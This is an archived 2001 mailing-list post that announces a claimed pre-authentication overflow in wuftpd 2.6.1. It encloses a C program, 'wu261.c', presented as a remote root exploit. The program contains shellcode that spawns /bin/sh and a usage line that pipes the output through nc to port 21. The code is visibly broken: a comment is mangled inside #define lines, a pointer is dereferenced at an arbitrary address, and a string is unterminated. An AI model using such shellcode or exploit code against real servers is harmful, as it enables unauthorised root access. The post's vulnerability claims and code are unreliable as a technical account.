Vulnerability Development mailing list archives

wuftpd 2.6.1 advisory/exploit


From: Carolyn Meinel <carolyn () techbroker com>
Date: Wed, 19 Sep 2001 00:10:20 -0700

Hello,

In the interests of full disclosure, I am posting an exploit that was
developed single-handedly by my good friend Andrew Plughes over the
weekend. I had absolutely no part in the discovery of this serious
vulnerability, so I won't soak in Andrew's credit ;).

I have also mirrored this advisory+exploit on my website:

http://www.techbroker.com/wu261.txt

It's been a pleasure having Andrew as a cohort over the years, and
I'd like to thank him for selflessly dedicating himself to security
research.  

We acknowledge a risk involved in submitting exploit code to a
public forum, with the possibility of characters of low demeanour
getting their hands on it. After lengthy discussions, we decided
that the work required to exploit the vulnerability is sufficient
to raise the bar on using it.

Yours truly,

Carolyn Meinel
cmeinel () techbroker com

---

Carolyn, my initial ideas about the vulnerability were not entirely
accurate, but I have confirmed that it -does- indeed exist. I am
enclosing some code that will spawn a remote root shell on vulnerable 
systems, although it does require some effort to get it up and running. 
It works against some Linux machines Bill gave me access to, and I 
suspect it will work against the BSDs (chroot-breaking is not a 
problem). 

At your request, I have sent the developers the intricate details
of the hole in wuftpd 2.6.1 (and 2.6.0, but not in 2.5.x as far as
I can see). To outline the vulnerability for Bugtraq:

- The overflow occurs in the pre-authentication stages of the 
  client session. 

- During the transition to the 2.6.x releases, the wuftpd
  development team redesigned the command processing code 
  in the daemon. Earlier releases are not believed to be
  vulnerable to similar problems.

- There is a strncat() cast overflow in the way a signed 
  integer derived from a malicious command length is used as 
  the third argument in an attempt to confine data within a 
  buffer allocated on the stack (they don't believe a command
  containing 1 character will occur). If we make the signed 
  integer negative, we are granted the ability to transform the
  third argument to strncat() into a HUGE positive value. 
  However, because (signed_integer + 2) is used to dynamically 
  allocate memory elsewhere with malloc(), we should set this 
  integer to -2, or preferably -1. There will be subsequent 
  heap corruption, but this occurs after the stack smash. That
  may be worth looking at too. 

- We can only overflow by one byte because of the call to
  exit() that will be made if strlen() flags the string
  as being too large. As luck would have it, the target
  buffer is adjacent to the saved frame pointer in the
  vulnerable function, and we can take advantage of this
  in a similar way to the OpenBSD ftpd vulnerability.
    
I have sent a patch to the wuftpd developers, but it just
checks for the evil negative integer created indirectly as
a result of the short command. I'm sure the developers will 
release a more involved patch within the next few days. 

Disable the daemon immediately. While this is not something
that will be easily exploited (my demonstration exploit needs
some work), it is a very serious threat.

--
Andrew Plughes
Network security aficionado / UNIX administrator


/*
 * wu261.c
 * wuftpd 2.6.1 exploit (remote root)
 *
 * Vulnerability and code from Andrew Plughes.
 *
 * Usage: (./wu261 [address]; cat) | nc host 21
 * address = argument location on heap (defeats Openwall)
 *
 * Demonstrates a flaw in the pre-authentication code of 
 * wuftpd 2.6.x which allows us to gain control of the
 * target process by displacing a saved frame pointer.
 *
 * Tested against some Linux distributions.  
 *
 * I'd like to thank Bill Harrington for providing me 
 * with some test boxes. 
 *  
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char linux_x86[] = 
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned char *shellcode = linux_x86;


//#define POTS 12                       /* fill these in for your
#define DEF_ALGN 1                       * target system  
//#define HEAP_ADDR 0x41414141           */ 
                                      
                        
int main(int argc, char *argv[])
{
        int i;
        unsigned long attack[1028 / 4];

/* redhat 7.0 */
#define ADDR 0x08049588 
#define POSITION_OF_THE_STRING 16
#define target (unsigned long) 

// unsigned long arg_addr = target HEAP_ADDR, align = DEF_ALGN;

        unsigned long arg_addr = ADDR, align = DEF_ALGN,
        pots = POSITION_OF_THE_STRING;

        if(argc == 2) 
        arg_addr = strtoul(argv[1], NULL, 0);

        system("clear");
        fputs("wuftpd 2.6.1 exploit\n", stderr);
        fputs("developed by Andrew Plughes\n", stderr);  

        for(i = 0; i < 1028 / 4; i++) 
        attack[i] = arg_addr;

        /* trigger the cast overflow with this command */
        sprintf((char *)attack, "U aa"); // "aa" -> for "\r\n"

        /* position of the string */
        for(i = 0; i < 4; i++)  
        sprintf((char *)attack+4+i, "%c", (unsigned long)puts >> i * 8 & 0xff);

        /* function var position */
        pots = *(unsigned long *)(attack[1] + 2); // rh7 -> attack+16+2
        /* set the function var accordingly */
        *(unsigned long *)pots = align; 

        /* spaces for the process alignment */
        sprintf((char *)attack+20, "%*s", align % 4, "    "); 

        printf("USER %s\r\n", shellcode);
        printf("%s\r\n", attack);
        puts("echo ~ ok, it seems to have worked... remember: \");
        puts("rm -rf is not elite ~");      
        
        exit(0);
}


Current thread: